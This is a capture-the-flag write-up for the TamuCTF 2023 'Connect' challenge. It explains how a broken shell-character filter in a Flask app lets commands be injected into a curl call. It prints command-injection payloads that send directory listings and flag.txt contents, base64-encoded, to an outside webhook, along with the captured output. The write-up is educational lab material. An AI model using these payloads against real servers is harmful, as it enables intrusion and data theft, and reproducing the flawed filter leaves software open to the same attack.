TamuCTF 2023 - Connect
Table of Contents
Challenge Overview
In this challenge, we were given a file that contains the Flask application. Here is an overview of the app.py application:
import flask
import os
def escape_shell_cmd(data):
for char in data:
if char in '&#;`|*?~<>^()[]{}$\\':
return False
else:
return True
app: flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.render_template('index.html')
@app.route('/api/curl', methods=['POST'])
def curl():
url: flask.request.form.get('ip')
if escape_shell_cmd(url):
command: "curl -s -D - -o /dev/null " + url + " | grep -oP '^HTTP.+[0-9]{3}'"
output: os.popen(command).read().strip()
if 'HTTP' not in output:
return flask.jsonify({'message': 'Error: No response'})
return flask.jsonify({'message': output})
else:
return flask.jsonify({'message': 'Illegal Characters Detected'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8001)
Code Analysis
Vulnerability Analysis
This application allows checking if a website is online or not through a curl request from the /api/curl route.
However, we can notice that the escape_shell_cmd() function was very poorly designed since the return statement allows exiting the function and returning a value. So the function will only compare the first character of the URL, which allows us to inject malicious code. However, we will have no result and no output from the command since we will only have the line containing HTTP. Here we can exploit a blind RCE.
Exploitation
Blind RCE via Webhook
To exploit the application, I need a webhook. I will use requestcatcher.com .
First, here is what the interface looks like:
Figure 0x1 – Interface
Directory Listing
By sending the following payload:
https://balgo.requestcatcher.com/$(ls -l | base64 -w0)
Result
We get data on the webhook:
GET /dG90YWwgMTIKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgIDg2NyBBcHIgMjggMDQ6MzcgYXBwLnB5CmRyd3hyLXhyLXguICAgIDEgcm9vdCByb290ICAgIDYgQXByIDEyIDA3OjA2IGJpbgpkcnd4ci14ci14LiAgICAyIHJvb3Qgcm9vdCAgICA2IFNlcCAgMyAgMjAyMiBib290CmRyd3hyLXhyLXguICAgIDUgcm9vdCByb290ICAxMjAgQXByIDI5IDAxOjUzIGRldgpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDY2IEFwciAyOCAwNzozMiBldGMKLXJ3LXJ3LXItLS4gICAgMSByb290IHJvb3QgICA0MyBBcHIgMjggMDQ6MzcgZmxhZy50eHQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBTZXAgIDMgIDIwMjIgaG9tZQpkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDMwIEFwciAxMiAwNzowNiBsaWIKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAzNCBBcHIgMTEgMDA6MDAgbGliNjQKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbWVkaWEKZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgbW50CmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290ICAgIDYgQXByIDExIDAwOjAwIG9wdApkci14ci14ci14LiAxMTQzIHJvb3Qgcm9vdCAgICAwIEFwciAyOCAwNzozMiBwcm9jCmRyd3gtLS0tLS0uICAgIDEgcm9vdCByb290ICAgMjAgQXByIDI4IDA1OjQzIHJvb3QKZHJ3eHIteHIteC4gICAgMyByb290IHJvb3QgICAzMCBBcHIgMTEgMDA6MDAgcnVuCmRyd3hyLXhyLXguICAgIDIgcm9vdCByb290IDQwOTYgQXByIDExIDAwOjAwIHNiaW4KZHJ3eHIteHIteC4gICAgMiByb290IHJvb3QgICAgNiBBcHIgMTEgMDA6MDAgc3J2CmRyd3hyd3hyLXguICAgIDIgcm9vdCByb290ICAgMzggQXByIDI4IDA0OjM3IHN0YXRpYwpkci14ci14ci14LiAgIDEzIHJvb3Qgcm9vdCAgICAwIEFwciAyNiAwMjowNiBzeXMKZHJ3eHJ3eHIteC4gICAgMiByb290IHJvb3QgICAyNCBBcHIgMjggMDQ6MzcgdGVtcGxhdGVzCmRyd3hyd3hyd3QuICAgIDEgcm9vdCByb290ICAgIDYgQXByIDI4IDA1OjQzIHRtcApkcnd4ci14ci14LiAgICAxIHJvb3Qgcm9vdCAgIDU0IEFwciAxMSAwMDowMCB1c3IKZHJ3eHIteHIteC4gICAgMSByb290IHJvb3QgICA0MSBBcHIgMTEgMDA6MDAgdmFyCg== HTTP/1.1
Host: balgo.requestcatcher.com
Accept: */*
User-Agent: curl/7.64.0
Decoded Output
And by decoding the base64 data, we receive the following data:
total 12
-rw-rw-r--. 1 root root 867 Apr 28 04:37 app.py
drwxr-xr-x. 1 root root 6 Apr 12 07:06 bin
drwxr-xr-x. 2 root root 6 Sep 3 2022 boot
drwxr-xr-x. 5 root root 120 Apr 29 01:53 dev
drwxr-xr-x. 1 root root 66 Apr 28 07:32 etc
-rw-rw-r--. 1 root root 43 Apr 28 04:37 flag.txt
drwxr-xr-x. 2 root root 6 Sep 3 2022 home
drwxr-xr-x. 1 root root 30 Apr 12 07:06 lib
drwxr-xr-x. 2 root root 34 Apr 11 00:00 lib64
drwxr-xr-x. 2 root root 6 Apr 11 00:00 media
drwxr-xr-x. 2 root root 6 Apr 11 00:00 mnt
drwxr-xr-x. 2 root root 6 Apr 11 00:00 opt
dr-xr-xr-x. 1143 root root 0 Apr 28 07:32 proc
drwx------. 1 root root 20 Apr 28 05:43 root
drwxr-xr-x. 3 root root 30 Apr 11 00:00 run
drwxr-xr-x. 2 root root 4096 Apr 11 00:00 sbin
drwxr-xr-x. 2 root root 6 Apr 11 00:00 srv
drwxrwxr-x. 2 root root 38 Apr 28 04:37 static
dr-xr-xr-x. 13 root root 0 Apr 26 02:06 sys
drwxrwxr-x. 2 root root 24 Apr 28 04:37 templates
drwxrwxrwt. 1 root root 6 Apr 28 05:43 tmp
drwxr-xr-x. 1 root root 54 Apr 11 00:00 usr
drwxr-xr-x. 1 root root 41 Apr 11 00:00 var
Reading the Flag
We successfully executed malicious code and displayed the file list. We quickly spot the flag.txt file which contains our flag, so we will display it with the following payload, still using the webhook:
https://balgo.requestcatcher.com/$(cat /flag.txt | base64 -w0)
And here is what we get again:
GET /Z2lnZW17cDAwcl9mMWx0M3JzX200azNfZjByX3AwMHJfczNjdXIxdHl9Cg== HTTP/1.1
Host: balgo.requestcatcher.com
Accept: */*
User-Agent: curl/7.64.0
Final Flag
Which gives us once decoded:
gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}
Flag
The flag is therefore gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}